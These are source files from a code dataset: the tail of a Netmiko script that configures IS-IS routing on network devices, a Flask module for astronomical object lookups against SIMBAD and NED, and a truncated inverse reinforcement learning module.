user_input = input(\"\\033[1;93m Enter the ISIS enabled networks for L1 (eg 10.0.3.4/23) and press ENTER \\n: \\033[0m\")\n        if user_input == \"EXIT\":\n            track_input = 2\n            print(\"\\033[1;93m Exit the loop for L1 ISIS enabled networks! \\033[0m\")\n        else:\n            L1_NETWORKS_LIST.append(user_input)\n\n    while track_input == 2:\n        user_input = input(\"\\033[1;93m Enter the ISIS enabled networks for L2 (eg 10.0.3.4/23) and press ENTER \\n: \\033[0m\")\n        if user_input == \"EXIT\":\n            track_input = 12\n            print(\"\\033[1;93m Exit the loop for L2 ISIS enabled networks! \\033[0m\")\n        else:\n            L2_NETWORKS_LIST.append(user_input)\n\n    while track_input == 12:\n        user_input = input(\"\\033[1;93m Enter the ISIS enabled networks for L1L2 (eg 10.0.3.4/23) and press ENTER \\n: \\033[0m\")\n        if user_input == \"EXIT\":\n            track_input = 0\n            print(\"\\033[1;93m Exit the loop for L1L2 ISIS enabled networks! \\033[0m\")\n        else:\n            L1L2_NETWORKS_LIST.append(user_input)\n\n    print(\"\\033[1;92m\")\n    print(\"The ISIS enabled networks are in the following LISTS\")\n    print(\"L1 ISIS enabled networks!\")\n    print(L1_NETWORKS_LIST)\n    print(\"L2 ISIS enabled networks!\")\n    print(L2_NETWORKS_LIST)\n    print(\"L1L2 ISIS enabled networks!\")\n    print(L1L2_NETWORKS_LIST)\n    print(\"\\033[0m\")\n\n\ndef isis_config(DICT_PER_HOST):\n    # Connects to the host using Netmiko (Telnet/SSH).\n    net_connect = ConnectHandler(**DICT_PER_HOST)\n\n    # Saves the running-config to the startup-config.\n    net_connect.save_config()\n\n    # Sends execution commands.\n    net_connect.send_command(\"show startup-config\")\n    exec_output_1 = net_connect.send_command(\"show startup-config\")\n\n    # Creates a temporary file (if the specified file does not exist) and overwrites any existing content (if there is).\n    random_string_1 = ''.join(random.choices(string.ascii_letters, k=10))\n    with open(\"startup_config_temporary\" + random_string_1, \"w\") as f:\n        # Print the output of execution commands sent to host via Telnet/SSH.\n        print(exec_output_1, file=f)\n\n    # Finds host hostname.\n    with open(\"startup_config_temporary\" + random_string_1, \"r\") as f:\n        for line in f:\n            if line.startswith(\"hostname\"):\n                host_hostname = line.strip(\"hostname\")\n                host_hostname = host_hostname.lstrip()\n                host_hostname = host_hostname.rstrip(\"\\n\")\n\n    # Finds host host_id.\n    host_id = \"\"\n    for char in host_hostname:\n        if char.isdigit():\n            host_id = host_id + char\n    host_id = host_id.zfill(4)\n\n    # Deletes the temporary file.\n    if os.path.exists(\"startup_config_temporary\" + random_string_1):\n        os.remove(\"startup_config_temporary\" + random_string_1)\n\n    # Finds host AREA.\n    mgmnt_address = DICT_PER_HOST[\"host\"]\n    for element in TARGET_AREA_PAIRS_LIST:\n        address_area = element.partition('/')\n        address = address_area[0]\n        area = address_area[2]\n        if address == mgmnt_address:\n            host_area = area\n\n    # Finds host LEVEL.\n    mgmnt_address = DICT_PER_HOST[\"host\"]\n    if mgmnt_address in L1_ONLY_TARGETS_LIST:\n        host_level = \"level-1\"\n    elif mgmnt_address in L2_ONLY_TARGETS_LIST:\n        host_level = \"level-2-only\"\n    elif mgmnt_address in L1L2_TARGETS_LIST:\n        host_level = \"level-1-2\"\n    else:\n        pass\n\n    # This line defines as working directory the directory of the script (all files should be placed in this directory). Used from jinja2.\n    file_loader = FileSystemLoader(os.path.dirname(sys.argv[0]))\n\n    # Load the enviroment. Used from jinja2.\n    env = Environment(loader=file_loader)\n\n    # Add the template.\n    template_task = env.get_template(\"template_isis_process.j2\")\n\n    # Render the template.\n    output_task = template_task.render(VAR_1=host_area, VAR_2=host_id, VAR_3=host_level)\n    print(\"\\033[1;92m\")\n    print(\"The ISIS process configuration for the \" + str(host_hostname) + \" host is as following!!!\")\n    print(output_task)\n    print(\"\\033[0m\")\n\n    # Creates a temporary file (if the specified file does not exist) and overwrites any existing content (if there is).\n    random_string_2 = ''.join(random.choices(string.ascii_letters, k=10))\n    with open(\"config_file_temporary\" + random_string_2, \"w\") as f:\n        # Print the output of execution commands sent to device via Telnet/SSH.\n        print(output_task, file=f)\n\n    # Sends execution commands.\n    net_connect.send_config_from_file(\"config_file_temporary\" + random_string_2)\n\n    # Deletes the temporary file.\n    if os.path.exists(\"config_file_temporary\" + random_string_2):\n        os.remove(\"config_file_temporary\" + random_string_2)\n\n    # Sends execution commands.\n    net_connect.send_command(\"show ip interface | include Internet address | line protocol\")\n    exec_output_3 = net_connect.send_command(\"show ip interface | include Internet address | line protocol\")\n\n    # Creates a temporary file (if the specified file does not exist) and overwrites any existing content (if there is).\n    random_string_3 = ''.join(random.choices(string.ascii_letters, k=10))\n    with open(\"interfaces_temporary\" + random_string_3, \"w\") as f:\n        # Print the output of execution commands sent to host via Telnet/SSH.\n        print(exec_output_3, file=f)\n\n    # List with lists of interface and address pairs.\n    INTERFACE_ADDRESS_PAIRS_LIST = []\n\n    # Finds interfaces addresses.\n    with open(\"interfaces_temporary\" + random_string_3, \"r\") as f:\n        previous_line = \"\"\n        for line in f:\n            if \"Internet address\" in line:\n                INTERFACE_ADDRESS_PAIRS_LIST.append([previous_line.split()[0], line.split()[3]])\n            previous_line = line\n\n    # List with lists of interface and network pairs.\n    INTERFACE_NETWORK_PAIRS_LIST = []\n\n    # Finds interfaces networks.\n    for element in INTERFACE_ADDRESS_PAIRS_LIST:\n        a = element[0]\n        b = ipaddress.ip_network(element[1], strict=False).with_prefixlen\n        INTERFACE_NETWORK_PAIRS_LIST.append([a, b])\n\n    # Deletes the temporary file.\n    if os.path.exists(\"interfaces_temporary\" + random_string_3):\n        os.remove(\"interfaces_temporary\" + random_string_3)\n\n    # List with configuration commands for interfaces of ISIS.\n    CONFIG_ISIS_INTERFACES_LIST = []\n\n    # Add the ISIS interface configuration commands in a LIST.\n    for element in INTERFACE_NETWORK_PAIRS_LIST:\n        if element[1] in L1_NETWORKS_LIST:\n            CONFIG_ISIS_INTERFACES_LIST.append(\"interface \" + str(element[0]))\n            CONFIG_ISIS_INTERFACES_LIST.append(\"ip router isis\")\n            CONFIG_ISIS_INTERFACES_LIST.append(\"isis circuit-type level-1\")\n        elif element[1] in L2_NETWORKS_LIST:\n            CONFIG_ISIS_INTERFACES_LIST.append(\"interface \" + str(element[0]))\n            CONFIG_ISIS_INTERFACES_LIST.append(\"ip router isis\")\n            CONFIG_ISIS_INTERFACES_LIST.append(\"isis circuit-type level-2-only\")\n        elif element[1] in L1L2_NETWORKS_LIST:\n            CONFIG_ISIS_INTERFACES_LIST.append(\"interface \" + str(element[0]))\n            CONFIG_ISIS_INTERFACES_LIST.append(\"ip router isis\")\n            CONFIG_ISIS_INTERFACES_LIST.append(\"isis circuit-type level-1-2\")\n\n    print(\"\\033[1;92m\")\n    print(\"The ISIS interface configuration commands for the \" + str(host_hostname) + \" host are in the following LIST!!!\")\n    print(CONFIG_ISIS_INTERFACES_LIST)\n    print(\"\\033[0m\")\n\n\n    # Sends execution commands.\n    net_connect.send_config_set(CONFIG_ISIS_INTERFACES_LIST)\n\n    # Saves the running-config to the startup-config.\n    net_connect.save_config()\n\n    # Closes the connection.\n    net_connect.disconnect()\n\n    print(\"\\033[1;91m\")\n    print(\"There is a new ISIS configuration for the \" + host_hostname + \" device!!!\")\n    print(\"\\033[0m\")\n\n# CODE!!!\ntargets()\nhosts(L1_ONLY_TARGETS_LIST, L2_ONLY_TARGETS_LIST, L1L2_TARGETS_LIST)\ntarget_area_pairs()\nisis_networks()\n\nALL_ISIS_HOSTS_LIST = L1_ONLY_HOSTS_LIST + L2_ONLY_HOSTS_LIST + L1L2_HOSTS_LIST\n\n# The asynchronous execution can be performed with threads (ThreadPoolExecutor), or processes (ProcessPoolExecutor).\n# If the program spends more time waiting on network requests (or any type of I/O task) there is an I/O bottleneck and you should use ThreadPoolExecutor.\n# If the program spends more time processing large datasets there is a CPU bottleneck and you should use ProcessPoolExecutor.\n# ThreadPoolExecutor cannot be used for parallel CPU computations.\n# ThreadPoolExecutor is perfect for scripts related to network/data I/O because the processor is sitting idle waiting for data.\nwith concurrent.futures.ThreadPoolExecutor(max_workers=40) as executor:\n    future = [executor.submit(isis_config, element) for element in ALL_ISIS_HOSTS_LIST]\n","repo_name":"karachanidisip/network_automation","sub_path":"ISIS_CONFIGURATION/isis_configuration.py","file_name":"isis_configuration.py","file_ext":"py","file_size_in_byte":13446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"42184737329","text":"from __future__ import absolute_import\nfrom builtins import map\nfrom builtins import str\nfrom flask import current_app, request\nfrom flask_restful import Resource\nfrom flask_discoverer import advertise\nfrom flask import Response\nfrom .SIMBAD import get_simbad_data\nfrom .SIMBAD import simbad_position_query\nfrom .SIMBAD import verify_tap_service\n\nfrom .NED import get_ned_data\nfrom .NED import get_NED_refcodes\nfrom .NED import ned_position_query\n\nfrom .utils import parse_query_string\nfrom .utils import get_object_translations\nfrom .utils import translate_query\nfrom .utils import isBalanced\nfrom .utils import parse_position_string\nfrom .utils import verify_query\n\nimport time\nimport timeout_decorator\n\nclass IncorrectPositionFormatError(Exception):\n    pass\n\nclass ObjectSearch(Resource):\n\n    \"\"\"Return object identifiers for a given object string\"\"\"\n    scopes = []\n    rate_limit = [1000, 60 * 60 * 24]\n    decorators = [advertise('scopes', 'rate_limit')]\n\n    def post(self):\n        stime = time.time()\n        # Verify which TAP service to use\n        u = verify_tap_service()\n        current_app.config['OBJECTS_SIMBAD_TAP_URL'] = u\n        # Get the supplied list of identifiers\n        identifiers = []\n        input_type = None\n        # determine whether a source for the data was specified\n        try:\n            source = request.json['source'].lower()\n        except:\n            source = 'simbad'\n        # We only deal with SIMBAD or NED as source\n        if source not in ['simbad','ned']:\n            current_app.logger.error('Unsupported source for object data specified: %s'%source)\n            return {\"Error\": \"Unable to get results!\",\n                   \"Error Info\": \"Unsupported source for object data specified: %s\"%source}, 200\n        for itype in ['identifiers', 'objects']:\n            try:\n                identifiers = request.json[itype]\n                identifiers = list(map(str, identifiers))\n                input_type  = itype\n            except:\n                pass\n        if not input_type:\n            current_app.logger.error('No identifiers and objects were specified for SIMBAD object query')\n            return {\"Error\": \"Unable to get results!\",\n                    \"Error Info\": \"No identifiers/objects found in POST body\"}, 200\n        # For a SIMBAD query with type \"identifiers\", the list should contain only integers\n        if source == 'SIMBAD' and input_type == 'identifiers':\n            wrong_identifiers = [e for e in identifiers if not str(e).isdigit()]\n            if len(wrong_identifiers) > 0:\n                current_app.logger.error('Warning! Found non-integer SIMBAD identifiers: %s'% \",\".join(wrong_identifiers))\n            # remove any non-integer identifiers\n            identifiers = [e for e in identifiers if str(e).isdigit()]\n        # We should either have a list of identifiers or a list of object names\n        if len(identifiers) == 0:\n            current_app.logger.error('No identifiers or objects were specified for SIMBAD object query')\n            return {\"Error\": \"Unable to get results!\",\n                    \"Error Info\": \"No identifiers/objects found in POST body\"}, 200\n        # We have a known object data source and a list of identifiers. Let's start!\n        # We have identifiers\n        if source == 'simbad':\n            result = get_simbad_data(identifiers, input_type)\n        else:\n            if input_type == 'identifiers':\n                input_type = 'simple'\n            result = get_ned_data(identifiers, input_type)\n        if 'Error' in result:\n            # An error was returned!\n            err_msg = result['Error Info']\n            current_app.logger.error('Failed to find data for %s %s query (%s)!'%(source.upper(), input_type,err_msg))\n            current_app.logger.error('Original request: %s'%str(request.json))\n            return result\n        else:\n            # We have results!\n            duration = time.time() - stime\n            current_app.logger.info('Found objects for %s %s in %s user seconds.' % (source.upper(), input_type, duration))\n            # Now pick the entries in the results that correspond with the original object names\n            if input_type == 'objects':\n#                result['data'] = {k: result['data'].get(k.upper()) for k in identifiers}\n                result['data'] = {k: result['data'].get(k) or result['data'].get(k.upper())  for k in identifiers}\n            # Send back the results\n            return result.get('data',{})\n\nclass QuerySearch(Resource):\n\n    \"\"\"Given a Solr query with object names, return a Solr query with SIMBAD identifiers\"\"\"\n    scopes = []\n    rate_limit = [1000, 60 * 60 * 24]\n    decorators = [advertise('scopes', 'rate_limit')]\n\n    def post(self):\n        stime = time.time()\n        # Verify which TAP service to use\n        try:\n            u = verify_tap_service()\n            current_app.config['OBJECTS_SIMBAD_TAP_URL'] = u\n        except:\n            # This is not supposed to throw an exception, but\n            # if so, we continue with the CDS TAP service\n            current_app.config['OBJECTS_SIMBAD_TAP_URL'] = current_app.config.get('OBJECTS_SIMBAD_TAP_URL_CDS')\n        # Get the supplied list of identifiers\n        query = None\n        itype = None\n        name2id = {}\n        try:\n            query = request.json['query']\n            input_type = 'query'\n        except:\n            current_app.logger.error('No query was specified for the  object search')\n            return {\"Error\": \"Unable to get results!\",\n                    \"Error Info\": \"No identifiers/objects found in POST body\"}, 200\n        # If we get the request from BBB, the value of 'query' is actually an array\n        if isinstance(query, list):\n            solr_query = query[0]\n        else:\n            solr_query = query\n        translated_query = solr_query\n        current_app.logger.info('Received object query: %s'%solr_query)\n        # Check if an explicit target service was specified\n        try:\n            targets = [t.strip() for t in request.json['target'].lower().split(',')]\n        except:\n            targets = ['simbad', 'ned']\n        # Get the object names and individual object queries from the Solr query\n        try:\n            object_names, object_queries = parse_query_string(solr_query.replace('^',''))\n        except Exception as err:\n            current_app.logger.error('Parsing the identifiers out of the query string blew up!')\n            return {\"Error\": \"Unable to get results!\",\n                    \"Error Info\": \"Parsing the identifiers out of the query string blew up! (%s)\"%str(err)}, 200\n        # If no object names were found, return\n        if len(object_names) == 0:\n            return {\"Error\": \"Unable to get results!\",\n                    \"Error Info\": \"No identifiers/objects found in Solr object query\"}, 200\n        # First we check if the object query was in fact a cone search. This would have been a queery of the form\n        #  object:\"80.89416667 -69.75611111:0.166666\"\n        # resulting in 1 entry in the variable object_queries (namely: ['object:\"80.89416667 -69.75611111:0.166666\"'])\n        # and with 1 entry in object_names (namely: [u'80.89416667 -69.75611111:0.166666']).\n        is_cone_search = False\n        if len(object_queries) == 1:\n            # We received a cone search, which needs to be translated into a query in terms of 'simbid' and 'nedid'\n            try:\n                coordinates, radius = parse_position_string(object_names[0])\n                RADEC = coordinates.to_string('hmsdms')\n                current_app.logger.info('Starting cone search at RA, DEC, radius: {0}, {1}'.format(RADEC, radius))\n                is_cone_search = True\n            except:\n                pass\n        # If this is a comne search, we go a different path\n        if is_cone_search:\n            result = {'simbad':[], 'ned':[]}\n            simbad_fail = False\n            ned_fail = False\n            sids = simbad_position_query(coordinates, radius)\n            if len(sids) > 0 and type(sids) == list:\n                vq = verify_query(sids, 'simbid')\n                if not vq:\n                    current_app.logger.info('SIMBAD identifiers not in Solr index: {0}'.format(\",\".join(sids)))\n                    simbad_fail = 'SIMBAD identifiers not found in Solr index'\n                    sids = []\n            result['simbad'] = sids\n            if 'Error' in result['simbad']:\n                simbad_fail = result['simbad']['Error Info']\n                result['simbad'] = []\n            nids = ned_position_query(coordinates, radius)\n            if len(nids) > 0 and type(nids) == list:\n                vq = verify_query(nids, 'nedid')\n                if not vq:\n                    current_app.logger.info('NED identifiers not in Solr index: {0}'.format(\",\".join(nids)))\n                    ned_fail = 'NED identifiers not found in Solr index'\n                    nids = []\n            result['ned'] = nids\n            if 'Error' in result['ned']:\n                ned_fail = result['ned']['Error Info']\n                result['ned'] = []\n            # If both SIMBAD and NED errored out, return an error\n            if simbad_fail and ned_fail:\n                return {\"Error\": \"Unable to get results!\",\n                        \"Error Info\": \"{0}, {1}\".format(simbad_fail, ned_fail)}, 200\n            # Form the query in terms on simbid and nedid:\n            cone_components = []\n            if len(result['simbad']) > 0:\n                cone_components.append('simbid:({0})'.format(\" OR \".join(result['simbad'])))\n            if len(result['ned']) > 0:\n                cone_components.append('nedid:({0})'.format(\" OR \".join(result['ned'])))\n            oquery = \"({0})\".format(\" OR \".join(cone_components))\n            translated_query = solr_query.replace(object_queries[0], oquery)\n            return {'query': translated_query}\n        # Create the translation map from the object names provided to identifiers indexed in Solr (simbid and nedid)\n        name2id = get_object_translations(object_names, targets)\n        # Now we have all necessary information to created the translated query\n        translated_query = translate_query(solr_query, object_queries, targets, object_names, name2id)\n\n        return {'query': translated_query}\n\nclass ClassicObjectSearch(Resource):\n\n    \"\"\"Return object NED refcodes for a given object list\"\"\"\n    scopes = []\n    rate_limit = [1000, 60 * 60 * 24]\n    decorators = [advertise('scopes', 'rate_limit')]\n\n    def post(self):\n        stime = time.time()\n        results = {}\n        # Get the supplied list of identifiers\n        if not request.json or 'objects' not in request.json:\n                current_app.logger.error('No objects were provided to Classic Object Search')\n                return {'Error': 'Unable to get results!',\n                            'Error Info': 'No object names found in POST body'}, 200\n\n        results = get_NED_refcodes(request.json)\n\n        if \"Error\" in results:\n            status = 400\n            error_info = results.get('Error Info', 'NA')\n            if error_info.find('timed out') > -1:\n                status = 504\n            current_app.logger.error('Classic Object Search request request blew up. Error info: %s' % error_info)\n            return results, status\n        duration = time.time() - stime\n        current_app.logger.info('Classic Object Search request successfully completed in %s real seconds'%duration)\n        # what output format?\n        try:\n            oformat = request.json['output_format']\n        except:\n            oformat = 'json'\n        # send the results back in the requested format\n        if oformat == 'json':\n            return results\n        else:\n            output = \"\\n\".join(results['data'])\n            return Response(output, mimetype='text/plain; charset=us-ascii')\n\n","repo_name":"adsabs/object_service","sub_path":"object_service/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11873,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"51"}
+{"seq_id":"21286140738","text":"\"\"\"\nIterative variants of BIRL using just samples from state and action spaces\nas trajectories. Do not explicitly use the full spaces. These sampling is\nabstracted away by a representation learning step that capture the relevant\nparts of these spaces for the task at hand.\n\n\"\"\"\n\nfrom __future__ import division\n\nimport six\nimport warnings\nfrom abc import ABCMeta, abstractmethod\nfrom copy import deepcopy\n\nimport scipy as sp\nfrom scipy.misc import logsumexp\n\nimport numpy as np\nfrom numpy.random import uniform\n\nfrom .base import BIRL\nfrom .base import PolicyWalkProposal\nfrom ..mdp_solvers import graph_policy_iteration\n\n\n__all__ = [\n    # 'STBIRLLinearProg',\n    'GTBIRLOptim',\n    'GTBIRLPolicyWalk',\n]\n\n\n########################################################################\n# Sampling Trajectory type BIRL Algorithms\n#########################################################################\n\n\nclass SamplingTrajectoryBIRL(six.with_metaclass(ABCMeta, BIRL)):\n\n    \"\"\" Sampling Trajectory based BIRL (STBIRL)\n\n    Bayesian Inverse Reinforcement Learning on Adaptive State Graph using\n    sampled trajectories, see Ng and Russel (Algs for infinite spaces)\n\n    \"\"\"\n\n    def __init__(self, demos, rep, prior, loss, reward_max=1.0,\n                 beta=0.7, eps=0.2, max_iter=10):\n        super(SamplingTrajectoryBIRL, self).__init__(demos, rep, prior,\n                                                     loss, beta)\n        max_iter = int(max_iter)\n        assert 0 < max_iter, '*max_iter* must be > 0'\n        if max_iter > 1000:\n            warnings.warn('*max_iter* set to high value: {}'.format(max_iter))\n        self._max_iter = max_iter\n\n        self._eps = eps\n        self._rmax = reward_max\n\n        self.data = dict()\n        self.data['loss'] = []\n\n    def solve(self):\n        \"\"\" Find the true reward function\n        \"\"\"\n        reward = self.initialize_reward()\n\n        self._policies = []\n        self._iteration = 1\n        while self._iteration < self._max_iter + 1:\n            v_e = self._expert_policy_value(reward)\n            v_r, pi_r = self._test_policy_value(reward)\n            reward_loss = np.linalg.norm(v_e - v_r, ord=2)\n\n            self._policies.append(pi_r)\n            self.data['loss'].append(reward_loss)\n\n            # - find the next best reward\n            reward = self.find_next_reward()\n\n            # - check for termination\n            if reward_loss < self._eps:\n                break\n\n            self.info('Iteration: {}'.format(self._iteration))\n\n            self._iteration += 1\n\n        return reward\n\n    @abstractmethod\n    def find_next_reward(self):\n        \"\"\" Compute a new reward based on current iteration \"\"\"\n        raise NotImplementedError('Abstract')\n\n    def initialize_reward(self, delta=0.2):\n        \"\"\"\n        Generate initial reward\n        \"\"\"\n        rdim = self._rep.mdp.reward.dim\n        reward = np.array([np.random.uniform(-self._rmax, self._rmax)\n                           for _ in range(rdim)])\n        return reward\n\n    def _expert_policy_value(self, reward):\n        expert_value = self._rep.trajectory_quality(reward, self._demos)\n        expert_value = np.array(expert_value)\n        return expert_value\n\n    def _test_policy_value(self, reward):\n        \"\"\" Check for termination\n\n        Check if how close the value of the new reward is wrt to value of\n        the expert. Values can be estimated via Monte Carlo or exactly via\n        Bellman equations\n\n        \"\"\"\n        starts = [demo[0] for demo in self._demos]\n\n        # estimate value of current policy (wrt to the starting states)\n        self._rep = self._rep.update_rewards(reward)\n        graph_policy_iteration(self._rep.graph,\n                               self._rep.mdp.gamma)\n        value_function = self._rep.graph.get_signal('V')\n        policy = self._rep.graph.get_signal('pi')\n        v_pi = np.array([value_function[s] for s in starts])\n\n        return v_pi, policy\n\n\nclass STBIRLLinearProg(SamplingTrajectoryBIRL):\n\n    \"\"\" LP based STBIRL \"\"\"\n\n    def __init__(self, demos, rep, prior, loss, reward_max=1.0,\n                 beta=0.7, eps=0.2, max_iter=10):\n        super(STBIRLLinearProg, self).__init__(demos, rep, prior, loss,\n                                               reward_max, beta,\n                                               eps, max_iter)\n\n        raise NotImplementedError('Implementation not complete')\n\n    def find_next_reward(self):\n        \"\"\" Compute a new reward based on accumulated policies \"\"\"\n        # Solve LP problem\n        return None\n\n\n########################################################################\n# Generating Trajectory type BIRL Algorithms\n#########################################################################\n\n\nclass GeneratingTrajectoryBIRL(six.with_metaclass(ABCMeta, BIRL)):\n\n    \"\"\" Generating Trajectory based BIRL (GTBIRL)\n\n    Bayesian Inverse Reinforcement Learning on Adaptive State Graph by\n    generation of new trajectories and comparing Q values\n\n    This is an iterative algorithm that improves the reward based on the\n    quality differences between expert trajectories and trajectories\n    generated by the test rewards\n\n    \"\"\"\n\n    def __init__(self, demos, rep, prior, loss, beta=0.7, max_iter=10):\n        super(GeneratingTrajectoryBIRL, self).__init__(demos, rep, prior,\n                                                       loss, beta)\n        max_iter = int(max_iter)\n        assert 0 < max_iter, '*max_iter* must be > 0'\n        if max_iter > 1000:\n            warnings.warn('*max_iter* set to high value: {}'.format(max_iter))\n        self._max_iter = max_iter\n\n        # generated trajectories\n        self._g_trajs = []\n\n        self.data = dict()\n        self.data['loss'] = []\n        self.data['QE'] = []\n        self.data['QPi'] = []\n\n    def solve(self):\n        \"\"\" Find the true reward function\n\n        Iteratively find the reward by generating trajectories using new\n        approximations and comparing the quality with the expert demos\n\n        \"\"\"\n        reward = self.initialize_reward()\n        self._rewards = [reward]\n\n        # self._g_trajs.append(self._demos)  # initialize with demos???\n        trajs = self._compute_policy(reward=reward)\n        self._g_trajs.append(trajs)\n\n        self._iteration = 1\n\n        while self._iteration < self._max_iter + 1:\n            reward = self.find_next_reward()\n\n            # - generate trajectories using current reward\n            trajs = self._compute_policy(reward)\n            self._g_trajs.append(trajs)\n\n            self.info('Iteration: {}'.format(self._iteration))\n\n            # - diagnosis data\n            QE = self._rep.trajectory_quality(reward, self._demos)\n            QPi = [self._rep.trajectory_quality(reward, self._g_trajs[i])\n                   for i in range(self._iteration)]\n            qloss = self._loss(QE,  QPi)\n\n            self.data['loss'].append(qloss)\n            self.data['QE'].append(QE)\n            self.data['QPi'].append(QPi)\n\n            if qloss < 0.5:\n                self.info('Terminating: Loss={}'.format(qloss))\n                break\n\n            self._rewards.append(reward)\n\n            self._iteration += 1\n\n        return self._rewards\n\n    @abstractmethod\n    def find_next_reward(self, g_trajs):\n        \"\"\" Compute a new reward based on current iteration \"\"\"\n        raise NotImplementedError('Abstract')\n\n    @abstractmethod\n    def initialize_reward(self):\n        \"\"\" Initialize reward function based on sovler \"\"\"\n        raise NotImplementedError('Abstract')\n\n\nclass GTBIRLOptim(GeneratingTrajectoryBIRL):\n\n    \"\"\" Generating Trajectory BIRL algorithm using direct optimization\n\n\n    Parameters\n    ----------\n    demos : array-like\n        Expert demonstrations as set of M trajectories of state action pairs.\n        Trajectories can be of different lengths.\n    rep : A representation object\n        The underlying representation of the MDP for the task, can be a\n        :class:`ControllerGraph`, or any derivative of the representation\n        interface :class:`MDPRepresentation`\n    prior : :class:``RewardPrior`` or derivative object\n        Reward prior callable object\n    loss : A callable object, derivative of :class:`RewardLoss`\n        Reward loss callable, for evaluating progress in reward search\n    max_iter : int, optional (default=10)\n        Number of iterations of the GenerativeBIRL algorithm\n    beta : float, optional (default=0.9)\n        Expert optimality parameter for softmax Boltzman temperature\n    reward_max : float, optional (default=1.0)\n        Maximum value of the reward signal (for a single dimension)\n\n\n    Attributes\n    -----------\n    _rmax : float, optional (default=1.0)\n        Maximum value of the reward signal (for a single dimension)\n    _bounds : tuple, optional (default=None)\n        Box bounds for L-BFGS optimization of the negative log-likelihood,\n        specified for each dimension of the reward function vector, e.g.\n        ((-1, 1), (-1, 0)) for a 2D reward vector\n\n    \"\"\"\n\n    def __init__(self, demos, rep, prior, loss, max_iter=10, beta=0.9,\n                 reward_max=1.0, bounds=None):\n        super(GTBIRLOptim, self).__init__(demos, rep, prior, loss,\n                                          beta, max_iter)\n        self._rmax = reward_max\n        self._bounds = bounds\n        if self._bounds is None:\n            self._bounds = tuple((-self._rmax, self._rmax)\n                                 for _ in range(self._rep.mdp.reward.dim))\n\n    def initialize_reward(self, delta=0.2):\n        \"\"\"\n        Generate initial reward\n        \"\"\"\n        rdim = self._rep.mdp.reward.dim\n        reward = np.array([np.random.uniform(-self._rmax, self._rmax)\n                           for _ in range(rdim)])\n        return reward\n\n    def find_next_reward(self):\n        \"\"\" Compute a new reward based on current generated trajectories \"\"\"\n        # initialize the reward TODO - why???\n        r_init = self.initialize_reward()\n\n        # run optimization to minimize N_llk\n        res = sp.optimize.minimize(fun=self._neg_loglk,\n                                   x0=r_init,\n                                   method='L-BFGS-B',\n                                   jac=False,\n                                   bounds=self._bounds)\n\n        self.debug('Solver result: {}'.format(res))\n        reward = res.x\n\n        return reward\n\n    def _neg_loglk(self, r):\n        \"\"\" Compute the negative log likelihood for r\n\n        Compute :math:`\\log p(\\Xi | r) p(r)` with respect to the given\n        reward\n\n        \"\"\"\n        # - prepare the trajectory quality scores\n        QE = self._rep.trajectory_quality(r, self._demos)\n        QPi = [self._rep.trajectory_quality(r, self._g_trajs[i])\n               for i in range(self._iteration)]\n\n        # - the negative log likelihood\n        # data term\n        z = []\n        for q_e in QE:\n            for QP_i in QPi:\n                for q_i in QP_i:\n                    z.append(self._beta * (q_i - q_e))\n        lk = -logsumexp(z)\n\n        # prior term\n        prior = np.sum(self._prior.log_p(r))\n\n        return lk - prior\n\n\nclass GTBIRLPolicyWalk(GeneratingTrajectoryBIRL):\n\n    \"\"\" Generating Trajectory BIRL algorithm using PolicyWalk MCMC\n\n    Reward posterior distribution is computed using MCMC samples via a\n    grid walk on the space of rewards.\n\n\n    Parameters\n    ----------\n    demos : array-like\n        Expert demonstrations as set of M trajectories of state action pairs.\n        Trajectories can be of different lengths.\n    rep : A representation object\n        The underlying representation of the MDP for the task, can be a\n        :class:`ControllerGraph`, or any derivative of the representation\n        interface :class:`MDPRepresentation`\n    prior : :class:``RewardPrior`` or derivative object\n        Reward prior callable object\n    loss : callable\n        Reward loss callable\n    step_size : float, optional (default=0.2)\n        Grid walk step size\n    burn : float, optional (default=0.2)\n        Fraction of MCMC samples to throw away before the chain stabilizes\n    max_iter : int, optional (default=10)\n        Number of iterations of the GenerativeBIRL algorithm\n    beta : float, optional (default=0.9)\n        Expert optimality parameter for softmax Boltzman temperature\n    reward_max : float, optional (default=1.0)\n        Maximum value of the reward signal (for a single dimension)\n    mcmc_iter : int, optional (default=200)\n        Number of MCMC samples to use in the PolicyWalk algorithm\n\n\n    Attributes\n    -----------\n    _delta : float, optional (default=0.2)\n        Grid walk step size\n    _rmax : float, optional (default=1.0)\n        Maximum value of the reward signal (for a single dimension)\n    _mcmc_iter : int, optional (default=200)\n        Number of MCMC samples to use in the PolicyWalk algorithm\n    _burn : float, optional (default=0.2)\n        Fraction of MCMC samples to throw away before the chain stabilizes\n\n    Note\n    -----\n    Using small step sizes generally implies the need for more samples\n\n    \"\"\"\n\n    def __init__(self, demos, rep, prior, loss, step_size=0.3, burn=0.2,\n                 max_iter=10, beta=0.9, reward_max=1.0, mcmc_iter=1000,\n                 cooling=False):\n        super(GTBIRLPolicyWalk, self).__init__(demos, rep, prior,\n                                               loss, beta, max_iter)\n        self._delta = step_size\n        self._rmax = reward_max\n        self._mcmc_iter = mcmc_iter\n        self._burn = burn\n        self._tempered = cooling\n\n        # some data for diagnosis\n        self.data['trace'] = []\n        self.data['walk'] = []\n        self.data['accept_ratios'] = []\n        self.data['iter_rewards'] = []\n\n    def initialize_reward(self):\n        \"\"\"\n        Generate initial reward for the algorithm in $R^{|S| / \\delta}$\n        \"\"\"\n        rdim = self._rep.mdp.reward.dim\n        reward = np.array([np.random.uniform(-self._rmax, self._rmax)\n                           for _ in range(rdim)])\n        if self._tempered:\n            # initialize to the maximum of prior\n            prior = self._prior(reward)\n            reward = np.array([max(prior) for _ in range(rdim)])\n\n        return reward\n\n    def find_next_reward(self):\n        \"\"\" Compute a new reward based on current generated trajectories \"\"\"\n        return self._policy_walk()\n\n    def _policy_walk(self):\n        \"\"\" Policy Walk MCMC reward posterior computation \"\"\"\n        r = self.initialize_reward()\n        r_mean = deepcopy(r)\n        p_dist = PolicyWalkProposal(r.shape[0], self._delta, bounded=True)\n\n        QE = self._rep.trajectory_quality(r, self._demos)\n        QPi = [self._rep.trajectory_quality(r, self._g_trajs[i])\n               for i in range(self._iteration)]\n\n        burn_point = int(self._mcmc_iter * self._burn / 100)\n\n        for step in range(1, self._mcmc_iter + 1):\n            r_new = p_dist(loc=r_mean)\n            QE_new = self._rep.trajectory_quality(r_new, self._demos)\n            QPi_new = [self._rep.trajectory_quality(r_new, self._g_trajs[i])\n                       for i in range(self._iteration)]\n\n            